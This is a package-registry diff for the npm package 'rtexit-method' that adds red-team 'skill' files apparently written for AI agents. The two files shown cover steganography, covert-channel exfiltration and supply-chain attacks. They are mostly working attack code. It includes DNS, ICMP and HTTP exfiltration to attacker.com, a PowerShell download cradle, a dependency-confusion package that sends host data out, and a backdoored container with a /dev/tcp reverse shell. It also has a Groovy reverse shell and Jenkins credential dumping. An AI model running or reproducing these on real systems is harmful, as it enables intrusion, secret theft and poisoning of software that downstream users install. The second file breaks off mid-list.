rtexit-method 0.1.3 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +115 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +147 -0
- package/packaged-assets/.agents/skills/rt-exploit-adcs/SKILL.md +395 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-kubernetes/SKILL.md +377 -0
- package/packaged-assets/.agents/skills/rt-lsass-dumping/SKILL.md +273 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-social-engineering/SKILL.md +401 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-supply-chain/SKILL.md +322 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-steganography
|
|
3
|
+
description: "Steganography detection, extraction, and covert channel exploitation skill for authorized engagements. LSB steganography detection in images/audio, StegSolve analysis, outguess and steghide extraction, DNS tunneling for C2 and data exfiltration, ICMP covert channel, HTTP header hiding, and polyglot file creation. Use when testing data exfiltration controls, covert channel detection, or analyzing suspicious files."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-steganography — Steganography & Covert Channels
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Steganography hides data inside legitimate files (images, audio, video, documents). Covert channels transmit data through unexpected protocol fields. In red team engagements these are used for: stealthy C2 communication, data exfiltration bypassing DLP, and hiding payloads inside innocent-looking files.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Steganography Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install tools
|
|
18
|
+
apt install steghide outguess stegosuite binwalk exiftool -y
|
|
19
|
+
pip3 install stegano
|
|
20
|
+
|
|
21
|
+
# Check file for embedded data
|
|
22
|
+
steghide info suspicious.jpg # Check if steghide used
|
|
23
|
+
steghide extract -sf suspicious.jpg -p "" # Try empty password
|
|
24
|
+
|
|
25
|
+
# Check metadata for hidden info
|
|
26
|
+
exiftool suspicious.jpg # EXIF data — can contain hidden text
|
|
27
|
+
exiftool -all= clean.jpg # Strip all metadata (for cleanup)
|
|
28
|
+
|
|
29
|
+
# binwalk — find embedded files
|
|
30
|
+
binwalk suspicious.jpg
|
|
31
|
+
binwalk -e suspicious.jpg # Extract embedded content
|
|
32
|
+
# Look for: PK (zip), JFIF (jpeg), PNG header embedded in another file
|
|
33
|
+
|
|
34
|
+
# Check for appended data after EOF
|
|
35
|
+
xxd suspicious.jpg | tail -20
|
|
36
|
+
# Normal JPEG ends with: FF D9
|
|
37
|
+
# Data after FF D9 = hidden content
|
|
38
|
+
|
|
39
|
+
# File size anomaly detection
|
|
40
|
+
# Expected JPG at resolution X×Y should be ~N bytes
|
|
41
|
+
# If much larger → hidden data likely
|
|
42
|
+
identify -verbose suspicious.jpg | grep "File size"
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### 1b — LSB Analysis with StegSolve
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# StegSolve — visual steganography analyzer
|
|
49
|
+
# java -jar stegsolve.jar
|
|
50
|
+
|
|
51
|
+
# Manual LSB check (Python)
|
|
52
|
+
python3 << 'EOF'
|
|
53
|
+
from PIL import Image
|
|
54
|
+
|
|
55
|
+
def extract_lsb(image_path, num_bits=1):
|
|
56
|
+
img = Image.open(image_path).convert("RGB")
|
|
57
|
+
pixels = list(img.getdata())
|
|
58
|
+
bits = ""
|
|
59
|
+
for pixel in pixels:
|
|
60
|
+
for channel in pixel:
|
|
61
|
+
bits += str(channel & 1) # LSB of each channel
|
|
62
|
+
# Convert bits to text
|
|
63
|
+
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
|
|
64
|
+
text = ""
|
|
65
|
+
for c in chars:
|
|
66
|
+
try:
|
|
67
|
+
char = chr(int(c, 2))
|
|
68
|
+
if char.isprintable():
|
|
69
|
+
text += char
|
|
70
|
+
else:
|
|
71
|
+
break
|
|
72
|
+
except: break
|
|
73
|
+
return text[:500] # First 500 printable chars
|
|
74
|
+
|
|
75
|
+
result = extract_lsb("suspicious.jpg")
|
|
76
|
+
print("LSB content:", result)
|
|
77
|
+
EOF
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 1c — Statistical Detection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# StegoVeritas — comprehensive stego analysis
|
|
84
|
+
pip3 install stegoveritas
|
|
85
|
+
stegoveritas suspicious.jpg -out ./analysis/
|
|
86
|
+
# Tests: LSB, metadata, appended data, color histograms, etc.
|
|
87
|
+
|
|
88
|
+
# zsteg — detect in PNG/BMP
|
|
89
|
+
gem install zsteg
|
|
90
|
+
zsteg suspicious.png # Try all common stego methods
|
|
91
|
+
zsteg -a suspicious.png # Try all channels
|
|
92
|
+
|
|
93
|
+
# Audio steganography detection
|
|
94
|
+
apt install mp3stego sox -y
|
|
95
|
+
mp3stego -X suspicious.mp3 # Check MP3 for hidden data
|
|
96
|
+
|
|
97
|
+
# Spectrum analysis (audio)
|
|
98
|
+
python3 << 'EOF'
|
|
99
|
+
import numpy as np
|
|
100
|
+
import scipy.io.wavfile as wav
|
|
101
|
+
import matplotlib.pyplot as plt
|
|
102
|
+
|
|
103
|
+
rate, data = wav.read("suspicious.wav")
|
|
104
|
+
freq = np.fft.fft(data[:rate]) # First second
|
|
105
|
+
plt.specgram(data, Fs=rate, cmap='inferno')
|
|
106
|
+
plt.savefig("spectrum.png")
|
|
107
|
+
# Visual: hidden text/images sometimes visible in spectrogram
|
|
108
|
+
EOF
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## Phase 2 — Embed Data (Red Team Exfiltration)
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Steghide — embed file in JPEG/BMP/WAV/AU
|
|
117
|
+
steghide embed -cf cover.jpg -sf secret.txt -p "passphrase" -sf output.jpg
|
|
118
|
+
# -cf = cover file, -sf = secret file, -p = password
|
|
119
|
+
|
|
120
|
+
# Hide PowerShell payload in image
|
|
121
|
+
echo "IEX(New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')" > payload.txt
|
|
122
|
+
steghide embed -cf photo.jpg -sf payload.txt -p "" -f # No password, force
|
|
123
|
+
|
|
124
|
+
# Extract on target
|
|
125
|
+
steghide extract -sf photo.jpg -p ""
|
|
126
|
+
|
|
127
|
+
# Outguess (harder to detect)
|
|
128
|
+
outguess -k "secretkey" -d hidden.txt cover.jpg output.jpg
|
|
129
|
+
outguess -k "secretkey" -r output.jpg recovered.txt
|
|
130
|
+
|
|
131
|
+
# Hide in document metadata
|
|
132
|
+
exiftool -Comment="BASE64_PAYLOAD" document.pdf
|
|
133
|
+
exiftool -Artist="$(cat payload.txt | base64)" photo.jpg
|
|
134
|
+
|
|
135
|
+
# Polyglot file (valid as two different formats)
|
|
136
|
+
# JPEG + ZIP polyglot — opens as image AND contains ZIP
|
|
137
|
+
cat cover.jpg payload.zip > polyglot.jpg
|
|
138
|
+
# unzip polyglot.jpg → extracts ZIP contents
|
|
139
|
+
# browser/image viewer → shows image
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Phase 3 — DNS Tunneling (C2 / Exfiltration)
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# DNS tunneling encodes data in DNS queries/responses
|
|
148
|
+
# Bypasses most firewalls (DNS port 53 almost always allowed)
|
|
149
|
+
|
|
150
|
+
# iodine — full IP tunnel over DNS
|
|
151
|
+
# Server (needs a domain with NS record pointing to your server)
|
|
152
|
+
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
|
|
153
|
+
# Client (on compromised host)
|
|
154
|
+
iodine -f -P password tunnel.attacker.com
|
|
155
|
+
# Creates tun0 with 10.0.0.2 → full IP connectivity over DNS
|
|
156
|
+
|
|
157
|
+
# dnscat2 — DNS C2 (simpler, no root needed)
|
|
158
|
+
# Server
|
|
159
|
+
ruby dnscat2.rb --dns "domain=tunnel.attacker.com,host=0.0.0.0" --secret=password
|
|
160
|
+
|
|
161
|
+
# Client (on target)
|
|
162
|
+
./dnscat --dns domain=tunnel.attacker.com --secret=password
|
|
163
|
+
# Or PowerShell client:
|
|
164
|
+
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-DNScat.ps1')
|
|
165
|
+
Invoke-DNScat -Domain tunnel.attacker.com -Secret password
|
|
166
|
+
|
|
167
|
+
# Manual DNS exfiltration (no tool needed — extreme environments)
|
|
168
|
+
# Split secret into 63-char DNS label chunks
|
|
169
|
+
python3 << 'EOF'
|
|
170
|
+
import base64, subprocess
|
|
171
|
+
|
|
172
|
+
secret = open("sensitive_data.txt", "rb").read()
|
|
173
|
+
encoded = base64.b32encode(secret).decode().lower().rstrip("=")
|
|
174
|
+
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
|
|
175
|
+
for i, chunk in enumerate(chunks):
|
|
176
|
+
# Each chunk = DNS query → logged by attacker's DNS server
|
|
177
|
+
subprocess.run(["nslookup", f"{i}.{chunk}.exfil.attacker.com"], capture_output=True)
|
|
178
|
+
EOF
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Phase 4 — ICMP Covert Channel
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# ptunnel-ng — TCP over ICMP (bypasses TCP-blocking firewalls)
|
|
187
|
+
# Server (attacker)
|
|
188
|
+
ptunnel-ng -p ATTACKER_IP
|
|
189
|
+
|
|
190
|
+
# Client (compromised host — only ICMP allowed out)
|
|
191
|
+
ptunnel-ng -p ATTACKER_IP -lp 8022 -da INTERNAL_SSH_HOST -dp 22
|
|
192
|
+
# Routes TCP port 8022 → ICMP → INTERNAL_SSH_HOST:22
|
|
193
|
+
ssh -p 8022 user@localhost
|
|
194
|
+
|
|
195
|
+
# Manual ICMP data hiding
|
|
196
|
+
python3 << 'EOF'
|
|
197
|
+
from scapy.all import *
|
|
198
|
+
|
|
199
|
+
# Hide data in ICMP echo request payload
|
|
200
|
+
secret = b"stolen_credential_hash_here"
|
|
201
|
+
packet = IP(dst="8.8.8.8") / ICMP(type=8, code=0) / Raw(load=secret)
|
|
202
|
+
send(packet)
|
|
203
|
+
|
|
204
|
+
# Receive: monitor ICMP on attacker side
|
|
205
|
+
sniff(filter="icmp and icmp[icmptype]=8",
|
|
206
|
+
prn=lambda p: print("RECV:", bytes(p[Raw])))
|
|
207
|
+
EOF
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Phase 5 — HTTP/HTTPS Covert Channels
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Hide data in HTTP headers (not logged by most proxies)
|
|
216
|
+
curl https://target.com/ \
|
|
217
|
+
-H "X-Custom-Data: $(echo 'stolen data' | base64)" \
|
|
218
|
+
-H "X-Request-ID: $(cat /etc/passwd | head -1 | base64)"
|
|
219
|
+
|
|
220
|
+
# HTTP timing channel (encode bits via request timing)
|
|
221
|
+
python3 << 'EOF'
|
|
222
|
+
import requests, time
|
|
223
|
+
|
|
224
|
+
def send_bit(bit, url):
|
|
225
|
+
if bit == '1':
|
|
226
|
+
time.sleep(0.5) # Delay = 1 bit
|
|
227
|
+
requests.get(url) # Request = 0 bit
|
|
228
|
+
|
|
229
|
+
secret = "SECRET"
|
|
230
|
+
bits = ''.join(format(ord(c), '08b') for c in secret)
|
|
231
|
+
for bit in bits:
|
|
232
|
+
send_bit(bit, "https://attacker.com/beacon")
|
|
233
|
+
EOF
|
|
234
|
+
|
|
235
|
+
# Exfil in User-Agent or other headers
|
|
236
|
+
# (many DLP tools don't inspect all headers)
|
|
237
|
+
curl "https://www.google.com" \
|
|
238
|
+
-H "User-Agent: Mozilla/5.0 $(cat sensitive.txt | base64 | tr -d '\n' | head -c 100)"
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## Phase 6 — DLP Bypass Techniques
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Bypass Data Loss Prevention controls
|
|
247
|
+
|
|
248
|
+
# Encode data to avoid keyword detection
|
|
249
|
+
cat sensitive.txt | base64 | curl -X POST https://attacker.com/ -d @-
|
|
250
|
+
cat sensitive.txt | gzip | base64 | curl -X POST https://attacker.com/ -d @-
|
|
251
|
+
|
|
252
|
+
# Embed in image (DLP can't scan steganography)
|
|
253
|
+
steghide embed -cf innocent.jpg -sf sensitive.txt -p "key" && \
|
|
254
|
+
curl -X POST https://fileupload.attacker.com/ -F "file=@innocent.jpg"
|
|
255
|
+
|
|
256
|
+
# Exfil via cloud storage (often whitelisted by DLP)
|
|
257
|
+
aws s3 cp sensitive.txt s3://attacker-bucket/ --acl public-read
|
|
258
|
+
# Or: Google Drive, Dropbox, OneDrive via API
|
|
259
|
+
|
|
260
|
+
# Exfil over allowed SaaS APIs
|
|
261
|
+
# Slack: post to attacker-controlled workspace
|
|
262
|
+
curl -X POST https://slack.com/api/files.upload \
|
|
263
|
+
-H "Authorization: Bearer ATTACKER_TOKEN" \
|
|
264
|
+
-F file=@sensitive.txt -F channels=C0123456
|
|
265
|
+
|
|
266
|
+
# GitHub Gist
|
|
267
|
+
curl -X POST https://api.github.com/gists \
|
|
268
|
+
-H "Authorization: token ATTACKER_TOKEN" \
|
|
269
|
+
-d "{\"public\":false,\"files\":{\"data.txt\":{\"content\":\"$(base64 sensitive.txt)\"}}}"
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## Skill Levels
|
|
275
|
+
|
|
276
|
+
**BEGINNER:** steghide/binwalk for detection · Basic LSB extraction · DNS exfiltration via nslookup
|
|
277
|
+
|
|
278
|
+
**INTERMEDIATE:** iodine/dnscat2 C2 tunnel · ICMP covert channel · Embed payloads in images · DLP bypass via encoding
|
|
279
|
+
|
|
280
|
+
**ADVANCED:** ptunnel-ng TCP-over-ICMP · Custom ICMP/HTTP covert channels · Statistical stego detection
|
|
281
|
+
|
|
282
|
+
**EXPERT:** Custom DNS C2 protocol · Timing covert channels · Steganography in video streams · Anti-forensic exfiltration
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
## References
|
|
287
|
+
|
|
288
|
+
- iodine: https://github.com/yarrick/iodine
|
|
289
|
+
- dnscat2: https://github.com/iagox86/dnscat2
|
|
290
|
+
- ptunnel-ng: https://github.com/utoni/ptunnel-ng
|
|
291
|
+
- steghide: https://steghide.sourceforge.net
|
|
292
|
+
- zsteg: https://github.com/zed-0xff/zsteg
|
|
293
|
+
- MITRE T1048: https://attack.mitre.org/techniques/T1048/
|
|
@@ -0,0 +1,322 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-supply-chain
|
|
3
|
+
description: "Supply chain attack simulation for authorized red team engagements. GitHub Actions workflow compromise, CI/CD pipeline secret extraction, npm/PyPI/RubyGems package dependency confusion, container registry poisoning, dependency hijacking, and build system compromise. Use when engagement scope includes development infrastructure, CI/CD pipelines, or software supply chain testing."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-supply-chain — Supply Chain Attack Simulation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Supply chain attacks target the development and delivery pipeline rather than production systems directly. A single compromised dependency, CI/CD pipeline, or build system can grant persistent access to every downstream consumer. Supply chain was the attack vector in SolarWinds, XZ Utils, and numerous npm/PyPI incidents.
|
|
11
|
+
|
|
12
|
+
**Attack surfaces:**
|
|
13
|
+
- CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI)
|
|
14
|
+
- Package managers (npm, PyPI, RubyGems, Maven, NuGet)
|
|
15
|
+
- Container registries (Docker Hub, ECR, GCR)
|
|
16
|
+
- Build systems and artifact repositories
|
|
17
|
+
- Third-party integrations and OAuth apps
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Reconnaissance: Map the Supply Chain
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Find what CI/CD system is used
|
|
25
|
+
# GitHub: look for .github/workflows/*.yml
|
|
26
|
+
# GitLab: .gitlab-ci.yml
|
|
27
|
+
# Jenkins: Jenkinsfile
|
|
28
|
+
# CircleCI: .circleci/config.yml
|
|
29
|
+
|
|
30
|
+
# Enumerate org's GitHub Actions workflows
|
|
31
|
+
gh api /repos/ORG/REPO/actions/workflows | jq '.workflows[].name'
|
|
32
|
+
|
|
33
|
+
# Find exposed secrets in public repos
|
|
34
|
+
trufflehog github --org=TARGET_ORG --only-verified
|
|
35
|
+
gitleaks detect --source . --verbose
|
|
36
|
+
|
|
37
|
+
# Find dependency files
|
|
38
|
+
find . -name "package.json" -o -name "requirements.txt" \
|
|
39
|
+
-o -name "Gemfile" -o -name "pom.xml" -o -name "go.mod"
|
|
40
|
+
|
|
41
|
+
# Check npm packages used
|
|
42
|
+
cat package.json | jq '.dependencies, .devDependencies'
|
|
43
|
+
|
|
44
|
+
# Check for internal package names (dependency confusion targets)
|
|
45
|
+
# Internal names often: @company/internal-lib, company-utils, etc.
|
|
46
|
+
cat package.json | grep -i "internal\|private\|corp\|company"
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Phase 2 — GitHub Actions Pipeline Compromise
|
|
52
|
+
|
|
53
|
+
### 2a — GITHUB_TOKEN Abuse (Excessive Permissions)
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# GITHUB_TOKEN is auto-provided to every workflow
|
|
57
|
+
# If permissions are write-all → can push to repo, create releases, etc.
|
|
58
|
+
|
|
59
|
+
# Check workflow permissions
|
|
60
|
+
cat .github/workflows/deploy.yml | grep -A5 "permissions:"
|
|
61
|
+
# Dangerous: permissions: write-all OR contents: write + packages: write
|
|
62
|
+
|
|
63
|
+
# In a compromised workflow run context:
|
|
64
|
+
# Exfiltrate GITHUB_TOKEN
|
|
65
|
+
- name: exfil
|
|
66
|
+
run: |
|
|
67
|
+
curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
|
|
68
|
+
https://api.github.com/user
|
|
69
|
+
|
|
70
|
+
# Use GITHUB_TOKEN to push to protected branch
|
|
71
|
+
git config user.email "action@github.com"
|
|
72
|
+
git config user.name "GitHub Actions"
|
|
73
|
+
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/ORG/REPO
|
|
74
|
+
git push origin main --force
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### 2b — Secret Extraction from Workflow
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# Secrets are masked in logs but can be extracted via encoding tricks
|
|
81
|
+
# (In authorized tests only — demonstrates the risk)
|
|
82
|
+
|
|
83
|
+
# Exfil via base64 (bypasses log masking for short secrets)
|
|
84
|
+
- name: exfil-secrets
|
|
85
|
+
run: |
|
|
86
|
+
echo "${{ secrets.AWS_SECRET_ACCESS_KEY }}" | base64 | \
|
|
87
|
+
curl -X POST https://attacker.com/collect -d @-
|
|
88
|
+
|
|
89
|
+
# Exfil via environment variable split
|
|
90
|
+
- name: exfil-split
|
|
91
|
+
run: |
|
|
92
|
+
secret="${{ secrets.DATABASE_PASSWORD }}"
|
|
93
|
+
echo "${secret:0:4}"
|
|
94
|
+
echo "${secret:4:4}"
|
|
95
|
+
# Piece together from logs
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### 2c — Workflow Injection (Pull Request from Fork)
|
|
99
|
+
|
|
100
|
+
```yaml
|
|
101
|
+
# Vulnerable workflow: uses pull_request_target + checks out PR code
|
|
102
|
+
# Attacker creates fork, modifies workflow, opens PR
|
|
103
|
+
|
|
104
|
+
# Vulnerable (target's workflow):
|
|
105
|
+
on:
|
|
106
|
+
pull_request_target:
|
|
107
|
+
types: [opened]
|
|
108
|
+
jobs:
|
|
109
|
+
test:
|
|
110
|
+
runs-on: ubuntu-latest
|
|
111
|
+
steps:
|
|
112
|
+
- uses: actions/checkout@v3
|
|
113
|
+
with:
|
|
114
|
+
ref: ${{ github.event.pull_request.head.sha }} # ← checks out attacker code
|
|
115
|
+
- run: npm test # ← runs attacker's package.json scripts
|
|
116
|
+
|
|
117
|
+
# Attacker's fork — modify package.json:
|
|
118
|
+
{
|
|
119
|
+
"scripts": {
|
|
120
|
+
"test": "curl https://attacker.com/exfil?token=$GITHUB_TOKEN"
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
### 2d — Compromised GitHub Action (Third-Party Action Abuse)
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Many workflows use third-party actions pinned to branch (not commit hash)
|
|
129
|
+
# If action is compromised (maintainer account takeover), all users affected
|
|
130
|
+
|
|
131
|
+
# Check for unpinned actions
|
|
132
|
+
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
|
|
133
|
+
# Dangerous: actions/checkout@v3 (branch tag, not commit SHA)
|
|
134
|
+
# Safe: actions/checkout@2d7d9f7789898b426… (full SHA)
|
|
135
|
+
|
|
136
|
+
# Demonstrate risk: if you control the action repo
|
|
137
|
+
# Modify action.yml entrypoint to exfiltrate secrets before running real action
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Phase 3 — Dependency Confusion Attack
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
# Target uses private package @corp/internal-utils (not published to public npm)
|
|
146
|
+
# If NOT published publicly → attacker can publish a malicious version
|
|
147
|
+
|
|
148
|
+
# Step 1: Find internal package names
|
|
149
|
+
# Search GitHub for "require('@corp/", "from '@corp/"
|
|
150
|
+
gh search code "require('@corp/" --language=JavaScript
|
|
151
|
+
# Or: check exposed package.json in public repos
|
|
152
|
+
|
|
153
|
+
# Step 2: Check if name is taken on public registry
|
|
154
|
+
npm view @corp/internal-utils # If "404 Not Found" → vulnerable
|
|
155
|
+
|
|
156
|
+
# Step 3: Register the name with a higher version
|
|
157
|
+
# Create malicious package:
|
|
158
|
+
mkdir corp-internal-utils && cd corp-internal-utils
|
|
159
|
+
cat > package.json << 'EOF'
|
|
160
|
+
{
|
|
161
|
+
"name": "@corp/internal-utils",
|
|
162
|
+
"version": "9.9.9",
|
|
163
|
+
"description": "dependency confusion PoC",
|
|
164
|
+
"main": "index.js"
|
|
165
|
+
}
|
|
166
|
+
EOF
|
|
167
|
+
|
|
168
|
+
cat > index.js << 'EOF'
|
|
169
|
+
const os = require('os');
|
|
170
|
+
const https = require('https');
|
|
171
|
+
const data = JSON.stringify({
|
|
172
|
+
hostname: os.hostname(),
|
|
173
|
+
user: os.userInfo().username,
|
|
174
|
+
platform: os.platform(),
|
|
175
|
+
env: Object.keys(process.env)
|
|
176
|
+
});
|
|
177
|
+
const req = https.request({hostname: 'attacker.com', path: '/dc', method: 'POST',
|
|
178
|
+
headers: {'Content-Type': 'application/json'}});
|
|
179
|
+
req.write(data); req.end();
|
|
180
|
+
EOF
|
|
181
|
+
|
|
182
|
+
# Publish
|
|
183
|
+
npm publish --access public
|
|
184
|
+
# npm install will now pull version 9.9.9 (higher than any internal version)
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 4 — Container Registry Attacks
|
|
190
|
+
|
|
191
|
+
### 4a — Public Registry Typosquatting
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# Find what base images target uses
|
|
195
|
+
grep -r "FROM " Dockerfile* docker-compose* .github/workflows/
|
|
196
|
+
|
|
197
|
+
# Common typosquats:
|
|
198
|
+
# ubuntu:20.04 → ubnutu:20.04 (typo)
|
|
199
|
+
# nginx:latest → ngnix:latest
|
|
200
|
+
# python:3.11 → pytohn:3.11
|
|
201
|
+
|
|
202
|
+
# Register typosquatted image on Docker Hub
|
|
203
|
+
# Add malicious layer that exfils secrets at container start
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### 4b — ECR / GCR / ACR Misconfiguration
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# AWS ECR — check for public access
|
|
210
|
+
aws ecr describe-repositories --region us-east-1
|
|
211
|
+
aws ecr get-repository-policy --repository-name TARGET_REPO --region us-east-1
|
|
212
|
+
|
|
213
|
+
# If public: pull and inspect layers for hardcoded secrets
|
|
214
|
+
docker pull 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
215
|
+
docker history 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
216
|
+
docker save target-app:latest | tar x
|
|
217
|
+
# Inspect each layer tar for secrets
|
|
218
|
+
|
|
219
|
+
# Dive tool — better layer inspection
|
|
220
|
+
dive 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### 4c — Image Poisoning (After Registry Access)
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
# If registry write access obtained (via stolen CI/CD creds or IAM misconfiguration)
|
|
227
|
+
# Build malicious image based on legitimate one
|
|
228
|
+
|
|
229
|
+
FROM legitimate-app:1.2.3
|
|
230
|
+
# Add backdoor layer
|
|
231
|
+
RUN echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /usr/local/bin/healthcheck && \
|
|
232
|
+
chmod +x /usr/local/bin/healthcheck
|
|
233
|
+
CMD ["/usr/local/bin/start-with-backdoor.sh"]
|
|
234
|
+
|
|
235
|
+
# Push with same tag — replaces production image
|
|
236
|
+
docker tag malicious-app:latest REGISTRY/legitimate-app:1.2.3
|
|
237
|
+
docker push REGISTRY/legitimate-app:1.2.3
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Phase 5 — Jenkins & Build System Attacks
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
# Find Jenkins
|
|
246
|
+
nmap -sV -p 8080,8443,50000 TARGET_RANGE
|
|
247
|
+
# Check for open dashboard (no auth)
|
|
248
|
+
curl http://TARGET:8080/view/all/newJob
|
|
249
|
+
|
|
250
|
+
# Groovy script execution (if admin access)
|
|
251
|
+
# Jenkins → Manage Jenkins → Script Console
|
|
252
|
+
Thread.start {
|
|
253
|
+
def cmd = "id"
|
|
254
|
+
def proc = cmd.execute()
|
|
255
|
+
proc.waitFor()
|
|
256
|
+
println proc.text
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
# Groovy reverse shell
|
|
260
|
+
Thread.start {
|
|
261
|
+
String host="ATTACKER_IP"
|
|
262
|
+
int port=4444
|
|
263
|
+
String cmd="bash"
|
|
264
|
+
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
|
|
265
|
+
Socket s=new Socket(host,port)
|
|
266
|
+
InputStream pi=p.getInputStream(), si=s.getInputStream()
|
|
267
|
+
OutputStream po=p.getOutputStream(), so=s.getOutputStream()
|
|
268
|
+
while(!s.isClosed()) {
|
|
269
|
+
while(pi.available()>0) so.write(pi.read())
|
|
270
|
+
while(si.available()>0) po.write(si.read())
|
|
271
|
+
so.flush(); po.flush()
|
|
272
|
+
Thread.sleep(50)
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
# Extract credentials from Jenkins credential store
|
|
277
|
+
# Script Console:
|
|
278
|
+
import jenkins.model.Jenkins
|
|
279
|
+
import com.cloudbees.plugins.credentials.*
|
|
280
|
+
import com.cloudbees.plugins.credentials.impl.*
|
|
281
|
+
|
|
282
|
+
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
|
283
|
+
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
|
|
284
|
+
Jenkins.instance, null, null)
|
|
285
|
+
for (c in creds) {
|
|
286
|
+
println c.id + " : " + c.username + " : " + c.password
|
|
287
|
+
}
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
## Skill Levels
|
|
293
|
+
|
|
294
|
+
**BEGINNER:**
|
|
295
|
+
- Dependency confusion: check if internal package names are registered publicly
|
|
296
|
+
- GitHub Actions: find secrets in workflow logs
|
|
297
|
+
- Docker layer inspection for hardcoded credentials
|
|
298
|
+
|
|
299
|
+
**INTERMEDIATE:**
|
|
300
|
+
- Dependency confusion: publish proof-of-concept package
|
|
301
|
+
- GitHub Actions workflow injection via pull_request_target
|
|
302
|
+
- Jenkins credential extraction via Groovy console
|
|
303
|
+
|
|
304
|
+
**ADVANCED:**
|
|
305
|
+
- GITHUB_TOKEN abuse to push to protected branches
|
|
306
|
+
